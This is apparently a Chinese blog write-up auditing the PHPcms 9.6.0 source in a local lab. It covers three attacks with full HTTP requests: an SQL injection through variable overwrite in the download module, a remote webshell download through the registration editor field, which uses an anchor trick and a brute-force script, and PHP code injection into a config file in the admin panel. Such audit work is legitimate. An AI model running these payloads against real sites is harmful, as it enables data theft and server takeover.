参考链接 PHPcms 9.6.0漏洞审计
cms组成
index.php
作为整个cms的入口(包括后台)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
<?php
/**
* index.php PHPCMS 入口
*
* @copyright (C) 2005-2010 PHPCMS
* @license http://www.phpcms.cn/license/
* @lastmodify 2010-6-1
*/
//PHPCMS根目录
define('PHPCMS_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR);
include PHPCMS_PATH.'/phpcms/base.php';
pc_base::creat_app();
?>
|
首先对phpcms/base.php
进行包含,base.php
是PHPCMS框架入口文件
-
定义了大量的常量,例如PHPCMS框架路径
-
加载公用函数库
1
2
3
|
pc_base::load_sys_func('global');//phpcms/libs/functions/global.func.php
pc_base::load_sys_func('extention');
pc_base::auto_load_func();
|
加载了对字符串或数组进行处理的函数如addslashes
,safe_replace
(’>‘替换从’>’),remove_xss
(xss过滤)
- 提供了pc_base类对应用进行初始化(主要使用静态方法实现)
pc_base::creat_app();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
|
public static function creat_app()
{
return self::load_sys_class('application');
}
/**
* 加载系统类方法
* @param string $classname 类名
* @param string $path 扩展地址
* @param intger $initialize 是否初始化
*/
public static function load_sys_class($classname, $path = '', $initialize = 1)
{
return self::_load_class($classname, $path, $initialize);
}
/**
* 加载类文件函数
* @param string $classname 类名
* @param string $path 扩展地址
* @param intger $initialize 是否初始化
*/
private static function _load_class($classname, $path = '', $initialize = 1)
{
static $classes = array();
if (empty($path)) $path = 'libs' . DIRECTORY_SEPARATOR . 'classes';
$key = md5($path . $classname);
if (isset($classes[$key])) {
if (!empty($classes[$key])) {
return $classes[$key];
} else {
return true;
}
}
if (file_exists(PC_PATH . $path . DIRECTORY_SEPARATOR . $classname . '.class.php')) {
include PC_PATH . $path . DIRECTORY_SEPARATOR . $classname . '.class.php';
$name = $classname;
if ($my_path = self::my_path(PC_PATH . $path . DIRECTORY_SEPARATOR . $classname . '.class.php')) {
include $my_path;
$name = 'MY_' . $classname;
}
if ($initialize) {
$classes[$key] = new $name;
} else {
$classes[$key] = true;
}
return $classes[$key];
} else {
return false;
}
}
|
对phpcms/libs/classes/application.class.php
进行包含并且通过$classes[$key] = new $name;
对application
类进行实例化
application
实例化时会调用构造函数__construct
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
|
public function __construct()
{
$param = pc_base::load_sys_class('param');
define('ROUTE_M', $param->route_m());
define('ROUTE_C', $param->route_c());
define('ROUTE_A', $param->route_a());
$this->init();
}
private function init()
{
$controller = $this->load_controller();
if (method_exists($controller, ROUTE_A)) {
if (preg_match('/^[_]/i', ROUTE_A)) {
exit('You are visiting the action is to protect the private action');
} else {
call_user_func(array($controller, ROUTE_A));
}
} else {
exit('Action does not exist.');
}
}
private function load_controller($filename = '', $m = '')
{
if (empty($filename)) $filename = ROUTE_C;
if (empty($m)) $m = ROUTE_M;
$filepath = PC_PATH . 'modules' . DIRECTORY_SEPARATOR . $m . DIRECTORY_SEPARATOR . $filename . '.php';
if (file_exists($filepath)) {
$classname = $filename;
include $filepath;
if ($mypath = pc_base::my_path($filepath)) {
$classname = 'MY_' . $filename;
include $mypath;
}
if (class_exists($classname)) {
return new $classname;
} else {
exit('Controller does not exist.');
}
} else {
exit('Controller does not exist.');
}
}
|
首先是对param
类进行实例化,param.class.php
是参数处理类,param
类进行实例化时会调用构造函数__construct
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
|
public function __construct()
{
if (!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
}
$this->route_config = pc_base::load_config('route', SITE_URL) ? pc_base::load_config('route', SITE_URL) : pc_base::load_config('route', 'default');
if (isset($this->route_config['data']['POST']) && is_array($this->route_config['data']['POST'])) {
foreach ($this->route_config['data']['POST'] as $_key => $_value) {
if (!isset($_POST[$_key])) $_POST[$_key] = $_value;
}
}
if (isset($this->route_config['data']['GET']) && is_array($this->route_config['data']['GET'])) {
foreach ($this->route_config['data']['GET'] as $_key => $_value) {
if (!isset($_GET[$_key])) $_GET[$_key] = $_value;
}
}
if (isset($_GET['page'])) {
$_GET['page'] = max(intval($_GET['page']), 1);
$_GET['page'] = min($_GET['page'], 1000000000);
}
return true;
}
/**
* 加载配置文件
* @param string $file 配置文件
* @param string $key 要获取的配置荐
* @param string $default 默认配置。当获取配置项目失败时该值发生作用。
* @param boolean $reload 强制重新加载。
*/
public static function load_config($file, $key = '', $default = '', $reload = false)
{
static $configs = array();
if (!$reload && isset($configs[$file])) {
if (empty($key)) {
return $configs[$file];
} elseif (isset($configs[$file][$key])) {
return $configs[$file][$key];
} else {
return $default;
}
}
$path = CACHE_PATH . 'configs' . DIRECTORY_SEPARATOR . $file . '.php';
if (file_exists($path)) {
$configs[$file] = include $path;
}
if (empty($key)) {
return $configs[$file];
} elseif (isset($configs[$file][$key])) {
return $configs[$file][$key];
} else {
return $default;
}
}
|
-
对$_GET,$_POST,$_REQUEST,$_COOKIE
进行addslashes
-
加载caches/configs/route.php
,其为路由配置文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
<?php
/**
* 路由配置文件
* 默认配置为default如下:
* 'default'=>array(
* 'm'=>'phpcms',
* 'c'=>'index',
* 'a'=>'init',
* 'data'=>array(
* 'POST'=>array(
* 'catid'=>1
* ),
* 'GET'=>array(
* 'contentid'=>1
* )
* )
* )
* 基中“m”为模型,“c”为控制器,“a”为事件,“data”为其他附加参数。
* data为一个二维数组,可设置POST和GET的默认参数。POST和GET分别对应PHP中的$_POST和$_GET两个超全局变量。在程序中您可以使用$_POST['catid']来得到data下面POST中的数组的值。
* data中的所设置的参数等级比较低。如果外部程序有提交相同的名字的变量,将会覆盖配置文件中所设置的值。如:
* 外部程序POST了一个变量catid=2那么你在程序中使用$_POST取到的值是2,而不是配置文件中所设置的1。
*/
return array(
'default'=>array('m'=>'content', 'c'=>'index', 'a'=>'init'),
);
|
路由方法解析
默认路由为phpcms/modules/content/index.php
的index
类的init
函数
确认路由后,回到application
类中,通过load_controller
加载路由(include并实例化),然后通过call_user_func
对事件函数进行调用
phpcms/modules/content/down.php存在SQL注入漏洞
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
class down
{
private $db;
function __construct()
{
$this->db = pc_base::load_model('content_model');
}
public function init()
{
$a_k = trim($_GET['a_k']);
if (!isset($a_k)) showmessage(L('illegal_parameters'));
$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system', 'auth_key'));
if (empty($a_k)) showmessage(L('illegal_parameters'));
unset($i, $m, $f);
parse_str($a_k);
if (isset($i)) $i = $id = intval($i);
if (!isset($m)) showmessage(L('illegal_parameters'));
if (!isset($modelid) || !isset($catid)) showmessage(L('illegal_parameters'));
if (empty($f)) showmessage(L('url_invalid'));
$allow_visitor = 1;
$MODEL = getcache('model', 'commons');
$tablename = $this->db->table_name = $this->db->db_tablepre . $MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename . '_data';
$rs = $this->db->get_one(array('id' => $id));
$siteids = getcache('category_content', 'commons');
$siteid = $siteids[$catid];
$CATEGORYS = getcache('category_content_' . $siteid, 'commons');
|
$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system', 'auth_key'));
说明$a_k
来源于某个字符串的解密结果,因此可以绕过new_addslashes
注意到parse_str($a_k);
存在变量覆盖漏洞,利用该漏洞绕过if (isset($i)) $i = $id = intval($i);
并且覆盖$id
即可利用$rs = $this->db->get_one(array('id' => $id));
进行sql注入
但是要想利用sys_auth
解密字符串就必须先构造出一个能够正常解密且包含注入语句的字符串,有两种途径
-
获取pc_base::load_config('system', 'auth_key')
,auth_key
是cms安装时随机生成的,获取难度较大
-
像前面审计dedecms那样,将包含注入语句的字符串传递给cms再通过类似GetCookie
的手段将其读取
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0)
{
$ckey_length = 4;
$key = md5($key != '' ? $key : pc_base::load_config('system', 'auth_key'));
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya . md5($keya . $keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(strtr(substr($string, $ckey_length), '-_', '+/')) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
.../*盒变换*/
if ($operation == 'DECODE') {
if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc . rtrim(strtr(base64_encode($result), '+/', '-_'), '=');
}
}
|
全局查找sys_auth
的引用,在phpcms\phpcms\libs\classes\param.class.php
中看到调用了setcookie
并将加密后的值代入cookie中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
public static function set_cookie($var, $value = '', $time = 0)
{
$time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);
$s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;
$var = pc_base::load_config('system', 'cookie_pre') . $var;
$_COOKIE[$var] = $value;
if (is_array($value)) {
foreach ($value as $k => $v) {
setcookie($var . '[' . $k . ']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system', 'cookie_path'), pc_base::load_config('system', 'cookie_domain'), $s);
}
} else {
setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system', 'cookie_path'), pc_base::load_config('system', 'cookie_domain'), $s);
}
}
|
全局查找param::set_cookie
的引用,在phpcms/modules/attachment/attachments.php
中的swfupload_json
调用了param::set_cookie
且$json_str
为可控参数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
|
function __construct()
{
pc_base::load_app_func('global');
$this->upload_url = pc_base::load_config('system', 'upload_url');
$this->upload_path = pc_base::load_config('system', 'upload_path');
$this->imgext = array('jpg', 'gif', 'png', 'bmp', 'jpeg');
$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'], 'DECODE'));
$this->isadmin = $this->admin_username = $_SESSION['roleid'] ? 1 : 0;
$this->groupid = param::get_cookie('_groupid') ? param::get_cookie('_groupid') : 8;
//判断是否登录
if (empty($this->userid)) {
showmessage(L('please_login', '', 'member'));
}
}
private function upload_json($aid, $src, $filename)
{
$arr['aid'] = intval($aid);
$arr['src'] = trim($src);
$arr['filename'] = urlencode($filename);
$json_str = json_encode($arr);
$att_arr_exist = param::get_cookie('att_json');
$att_arr_exist_tmp = explode('||', $att_arr_exist);
if (is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
return true;
} else {
$json_str = $att_arr_exist ? $att_arr_exist . '||' . $json_str : $json_str;
param::set_cookie('att_json', $json_str);
return true;
}
}
/**
* 设置swfupload上传的json格式cookie
*/
public function swfupload_json()
{
$arr['aid'] = intval($_GET['aid']);
$arr['src'] = safe_replace(trim($_GET['src']));
$arr['filename'] = urlencode(safe_replace($_GET['filename']));
$json_str = json_encode($arr);
$att_arr_exist = param::get_cookie('att_json');
$att_arr_exist_tmp = explode('||', $att_arr_exist);
if (is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
return true;
} else {
$json_str = $att_arr_exist ? $att_arr_exist . '||' . $json_str : $json_str;
param::set_cookie('att_json', $json_str);
return true;
}
}
|
但是在__construct
函数中要求当前处于已登录状态,但是其判断方式仅对$this->userid
判断是否为空,而$this->userid
来源于$_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'], 'DECODE'))
当$_SESSION['userid']
为空时,即可调用param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'], 'DECODE')
当_userid
的cookie为空时,即可将$this->userid
设置为sys_auth($_POST['userid_flash'], 'DECODE')
的结果,保证$_POST['userid_flash']
是一个可以正常解密的字符串即可绕过登录检查,从而调用swfupload_json
在phpcms/modules/mood/index.php
中的post
函数中,构造参数即可调用param::set_cookie('mood_id', $cookies.','.$mood_id);
从而获得一个可以正常解密的字符串
http://192.168.241.130:8080/index.php?m=mood&c=index&a=post&id=123&k=1
Set-Cookie: gYvca_mood_id=e5a3qbTrR_cuRH_bUNu77w77DaTEdUSfzpOJXmUqs-7F
注意到存在safe_replace
,可以使用双写绕过%\27
->%27
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
function safe_replace($string)
{
$string = str_replace('%20', '', $string);
$string = str_replace('%27', '', $string);
$string = str_replace('%2527', '', $string);
$string = str_replace('*', '', $string);
$string = str_replace('"', '"', $string);
$string = str_replace("'", '', $string);
$string = str_replace('"', '', $string);
$string = str_replace(';', '', $string);
$string = str_replace('<', '<', $string);
$string = str_replace('>', '>', $string);
$string = str_replace("{", '', $string);
$string = str_replace('}', '', $string);
$string = str_replace('\\', '', $string);
return $string;
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
POST /index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=...%26id=gululingbo%\27+and+updatexml(1,concat(0x7e,(user()),0x7e),1)%23%26m=1%26modelid=1%26catid=123%26f=123%26... HTTP/1.1
Host: 192.168.241.130:8080
Content-Length: 57
Pragma: no-cache
Cache-Control: no-cache
Origin: http://192.168.241.130:8080
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.241.130:8080/index.php?m=attachment&c=attachments&a=swfupload_json
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=q129buklbv2pojhu3fkfm4j0r4; XDEBUG_SESSION=XDEBUG_ECLIPSE; gYvca_att_json=asdf
Connection: close
userid_flash=e5a3qbTrR_cuRH_bUNu77w77DaTEdUSfzpOJXmUqs-7F
|
730a-gH-hHP4GIszpc6Gf5OdQ2s8t8gb7dvK75XVlVpRLZXZJRyIpwS75QKFKFQdZWHR2xplUIVF9GrDL1PwCV25pcjljgKgO2MqbU7EcZYCaoSckKOjCSZE2Dp7a6xNNaNwmqnE9cN9Z4MBrCKJWtuXzytoEJ91_TRSkxbznvcm8VTU2LcMFTqoKdNNsCS5yWFFUMvd7Y5CGqtV4PVoN9jJ
1
2
3
4
5
6
7
8
9
10
11
12
|
GET /index.php?m=content&c=down&a=init&aid=1&a_k=730a-gH-hHP4GIszpc6Gf5OdQ2s8t8gb7dvK75XVlVpRLZXZJRyIpwS75QKFKFQdZWHR2xplUIVF9GrDL1PwCV25pcjljgKgO2MqbU7EcZYCaoSckKOjCSZE2Dp7a6xNNaNwmqnE9cN9Z4MBrCKJWtuXzytoEJ91_TRSkxbznvcm8VTU2LcMFTqoKdNNsCS5yWFFUMvd7Y5CGqtV4PVoN9jJ HTTP/1.1
Host: 192.168.241.130:8080
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=q129buklbv2pojhu3fkfm4j0r4; XDEBUG_SESSION=XDEBUG_ECLIPSE
Connection: close
|
phpcms/modules/member/index.php存在任意文件上传漏洞
在register
函数中有以下功能
1
2
3
4
5
6
7
|
if ($member_setting['choosemodel']) {
require_once CACHE_MODEL_PATH . 'member_input.class.php';
require_once CACHE_MODEL_PATH . 'member_update.class.php';
$member_input = new member_input($userinfo['modelid']);
$_POST['info'] = array_map('new_html_special_chars', $_POST['info']);
$user_model_info = $member_input->get($_POST['info']);
}
|
到达这一功能点需要构造数据
1
2
3
|
http://192.168.241.130:8080/index.php?m=member&c=index&a=register&siteid=1
POST: dosubmit=1&username=123&nickname=123&[email protected]&password=123456&modelid=123
|
这里首先对member_update.class.php
和member_input.class.php
进行包含,然后实例化了一个member_input
类,然后调用了member_input
类中的get
方法
注意这里选择的是caches
目录下的member_input.class.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
function get($data)
{
$this->data = $data = trim_script($data);
$model_cache = getcache('member_model', 'commons');
$this->db->table_name = $this->db_pre . $model_cache[$this->modelid]['tablename'];
$info = array();
$debar_filed = array('catid', 'title', 'style', 'thumb', 'status', 'islink', 'description');
if (is_array($data)) {
foreach ($data as $field => $value) {
if ($data['islink'] == 1 && !in_array($field, $debar_filed)) continue;
$field = safe_replace($field);
$name = $this->fields[$field]['name'];
$minlength = $this->fields[$field]['minlength'];
$maxlength = $this->fields[$field]['maxlength'];
$pattern = $this->fields[$field]['pattern'];
$errortips = $this->fields[$field]['errortips'];
if (empty($errortips)) $errortips = "$name 不符合要求!";
$length = empty($value) ? 0 : strlen($value);
if ($minlength && $length < $minlength && !$isimport) showmessage("$name 不得少于 $minlength 个字符!");
if (!array_key_exists($field, $this->fields)) showmessage('模型中不存在' . $field . '字段');
if ($maxlength && $length > $maxlength && !$isimport) {
showmessage("$name 不得超过 $maxlength 个字符!");
} else {
str_cut($value, $maxlength);
}
if ($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips);
if ($this->fields[$field]['isunique'] && $this->db->get_one(array($field => $value), $field) && ROUTE_A != 'edit') showmessage("$name 的值不得重复!");
$func = $this->fields[$field]['formtype'];
if (method_exists($this, $func)) $value = $this->$func($field, $value);
$info[$field] = $value;
}
}
return $info;
}
|
注意到最后存在这样的语句if (method_exists($this, $func)) $value = $this->$func($field, $value);
,说明可以通过get方法去调用这个类中的所有方法
而$func
来源于$this->fields[$field]['formtype']
,同时在editor
方法中调用了attachment::download
,可能可以将远程服务器上的文件下载到本地
1
2
3
4
5
6
7
8
9
|
function editor($field, $value)
{
$setting = string2array($this->fields[$field]['setting']);
$enablesaveimage = $setting['enablesaveimage'];
$site_setting = string2array($this->site_config['setting']);
$watermark_enable = intval($site_setting['watermark_enable']);
$value = $this->attachment->download('content', $value, $watermark_enable);
return $value;
}
|
因此在这里构造的payload要满足以下几点
-
$data
必须是array
类型,因此$_POST['info']
必须是array
类型
-
$this->fields[$field]['formtype']==editor
而在caches/caches_model/caches_data/model_field_1.cache.php
,说明$field
必须等于content
1
2
3
4
5
6
7
8
9
10
11
12
|
'content' =>
array (
'fieldid' => '8',
'modelid' => '1',
'siteid' => '1',
'field' => 'content',
'name' => '内容',
...
'errortips' => '内容不能为空',
'formtype' => 'editor',
...
)',
|
- 注意存在
$field = safe_replace($field);
,可能需要对其进行绕过
1
2
3
|
http://192.168.241.130:8080/index.php?m=member&c=index&a=register&siteid=1
POST: dosubmit=1&username=123&nickname=123&[email protected]&password=123456&modelid=1&info[content]=valuexxxx
|
phpcms/libs/classes/attachment.class.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
|
/**
* 附件下载
* Enter description here ...
* @param $field 预留字段
* @param $value 传入下载内容
* @param $watermark 是否加入水印
* @param $ext 下载扩展名
* @param $absurl 绝对路径
* @param $basehref
*/
function download($field, $value, $watermark = '0', $ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
{
global $image_d;
$this->att_db = pc_base::load_model('attachment_model');
$upload_url = pc_base::load_config('system', 'upload_url');
$this->field = $field;
$dir = date('Y/md/');
$uploadpath = $upload_url . $dir;
$uploaddir = $this->upload_root . $dir;
$string = new_stripslashes($value);
if (!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
$remotefileurls = array();
foreach ($matches[3] as $matche) {
if (strpos($matche, '://') === false) continue;
dir_create($uploaddir);
$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
}
unset($matches, $string);
$remotefileurls = array_unique($remotefileurls);
$oldpath = $newpath = array();
foreach ($remotefileurls as $k => $file) {
if (strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
$filename = fileext($file);
$file_name = basename($file);
$filename = $this->getname($filename);
$newfile = $uploaddir . $filename;
$upload_func = $this->upload_func;//$this->upload_func = 'copy';
if ($upload_func($file, $newfile)) {
$oldpath[] = $k;
$GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath . $filename;
@chmod($newfile, 0777);
$fileext = fileext($filename);
if ($watermark) {
watermark($newfile, $newfile, $this->siteid);
}
$filepath = $dir . $filename;
$downloadedfile = array('filename' => $filename, 'filepath' => $filepath, 'filesize' => filesize($newfile), 'fileext' => $fileext);
$aid = $this->add($downloadedfile);
$this->downloadedfiles[$aid] = $filepath;
}
}
return str_replace($oldpath, $newpath, $value);
}
|
-
preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)
而$ext = 'gif|jpg|jpeg|bmp|png'
,正则匹配检查并提取结果
-
$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
|
/**
* 补全网址
*
* @param string $surl 源地址
* @param string $absurl 相对地址
* @param string $basehref 网址
* @return string 网址
*/
function fillurl($surl, $absurl, $basehref = '')
{
if ($basehref != '') {
$preurl = strtolower(substr($surl, 0, 6));
if ($preurl == 'http://' || $preurl == 'ftp://' || $preurl == 'mms://' || $preurl == 'rtsp://' || $preurl == 'thunde' || $preurl == 'emule://' || $preurl == 'ed2k://')
return $surl;
else
return $basehref . '/' . $surl;
}
$i = 0;
$dstr = '';
$pstr = '';
$okurl = '';
$pathStep = 0;
$surl = trim($surl);
if ($surl == '') return '';
$urls = @parse_url(SITE_URL);
$HomeUrl = $urls['host'];
$BaseUrlPath = $HomeUrl . $urls['path'];
$BaseUrlPath = preg_replace("/\/([^\/]*)\.(.*)$/", '/', $BaseUrlPath);
$BaseUrlPath = preg_replace("/\/$/", '', $BaseUrlPath);
$pos = strpos($surl, '#');
if ($pos > 0) $surl = substr($surl, 0, $pos);
if ($surl[0] == '/') {
$okurl = 'http://' . $HomeUrl . '/' . $surl;
} elseif ($surl[0] == '.') {
if (strlen($surl) <= 2) return '';
elseif ($surl[0] == '/') {
$okurl = 'http://' . $BaseUrlPath . '/' . substr($surl, 2, strlen($surl) - 2);
} else {
$urls = explode('/', $surl);
foreach ($urls as $u) {
if ($u == "..") $pathStep++;
else if ($i < count($urls) - 1) $dstr .= $urls[$i] . '/';
else $dstr .= $urls[$i];
$i++;
}
$urls = explode('/', $BaseUrlPath);
if (count($urls) <= $pathStep)
return '';
else {
$pstr = 'http://';
for ($i = 0; $i < count($urls) - $pathStep; $i++) {
$pstr .= $urls[$i] . '/';
}
$okurl = $pstr . $dstr;
}
}
} else {
$preurl = strtolower(substr($surl, 0, 6));
if (strlen($surl) < 7)
$okurl = 'http://' . $BaseUrlPath . '/' . $surl;
elseif ($preurl == "http:/" || $preurl == 'ftp://' || $preurl == 'mms://' || $preurl == "rtsp://" || $preurl == 'thunde' || $preurl == 'emule:' || $preurl == 'ed2k:/')
$okurl = $surl;
else
$okurl = 'http://' . $BaseUrlPath . '/' . $surl;
}
$preurl = strtolower(substr($okurl, 0, 6));
if ($preurl == 'ftp://' || $preurl == 'mms://' || $preurl == 'rtsp://' || $preurl == 'thunde' || $preurl == 'emule:' || $preurl == 'ed2k:/') {
return $okurl;
} else {
$okurl = preg_replace('/^(http:\/\/)/i', '', $okurl);
$okurl = preg_replace('/\/{1,}/i', '/', $okurl);
return 'http://' . $okurl;
}
}
|
注意到在fillurl
存在$pos = strpos($surl, '#'); if ($pos > 0) $surl = substr($surl, 0, $pos);
用于获取网页锚点前的路径,因此可以利用网页锚点绕过前面正则匹配
xxx#a.jpg
1
2
3
4
5
6
7
8
|
<?php
$ext = 'gif|jpg|jpeg|bmp|png';
$string="src=http://a.com/a.php#a.jpg";
preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches);
var_dump($matches);
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
array(5) {
[0]=>
array(1) {
[0]=>
string(28) "src=http://a.com/a.php#a.jpg"
}
[1]=>
array(1) {
[0]=>
string(3) "src"
}
[2]=>
array(1) {
[0]=>
string(0) ""
}
[3]=>
array(1) {
[0]=>
string(24) "http://a.com/a.php#a.jpg"
}
[4]=>
array(1) {
[0]=>
string(3) "jpg"
}
}
|
最后利用$upload_func($file, $newfile)
调用了copy
从远程端拷贝文件到本地,因此成功在本地保留webshell
1
2
3
|
http://192.168.241.130:8080/index.php?m=member&c=index&a=register&siteid=1
POST: dosubmit=1&username=123&nickname=123&[email protected]&password=123456&modelid=1&info[content]=src=http://a.com/a.php#a.jpg
|
本地测试payload
1
2
3
|
http://192.168.241.130:8080/index.php?m=member&c=index&a=register&siteid=1
POST: dosubmit=1&username=123&nickname=123&[email protected]&password=123456&modelid=1&info[content]=src=http://192.168.241.1:8000/a.php#a.jpg
|
但由于rand(100,999)
的存在,需要编写脚本去爆破才能得到具体的文件名
1
2
3
4
5
6
7
8
9
10
11
12
|
import requests
import time
url='http://192.168.241.130:8080/uploadfile/2022/0313/202203130533%s'
for i in range(49000,50000):
r=requests.get(url=url%(str(i)+'.php'))
if r.status_code==200:
print(i)
break
if i%100==0:
time.sleep(5)
|
phpsso_server/phpcms/modules/admin/system.php后台getshell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
public function uc()
{
if (isset($_POST['dosubmit'])) {
$data = isset($_POST['data']) ? $_POST['data'] : '';
$data['ucuse'] = isset($_POST['ucuse']) && intval($_POST['ucuse']) ? intval($_POST['ucuse']) : 0;
$filepath = CACHE_PATH . 'configs' . DIRECTORY_SEPARATOR . 'system.php';
$config = include $filepath;
$uc_config = '<?php ' . "\ndefine('UC_CONNECT', 'mysql');\n";
foreach ($data as $k => $v) {
$old[] = "'$k'=>'" . (isset($config[$k]) ? $config[$k] : $v) . "',";
$new[] = "'$k'=>'$v',";
$uc_config .= "define('" . strtoupper($k) . "', '$v');\n";
}
$html = file_get_contents($filepath);
$html = str_replace($old, $new, $html);
$uc_config_filepath = CACHE_PATH . 'configs' . DIRECTORY_SEPARATOR . 'uc_config.php';
@file_put_contents($uc_config_filepath, $uc_config);
@file_put_contents($filepath, $html);
$this->db->insert(array('name' => 'ucenter', 'data' => array2string($data)), 1, 1);
showmessage(L('operation_success'), HTTP_REFERER);
}
$data = array();
$r = $this->db->get_one(array('name' => 'ucenter'));
if ($r) {
$data = string2array($r['data']);
}
include $this->admin_tpl('system_uc');
}
|
1
2
3
|
http://192.168.241.130:8080/phpsso_server/index.php?m=admin&c=system&a=uc
POST: dosubmit=1&data[asdf','qwer');?><?php phpinfo();?>asdf]=asdf
|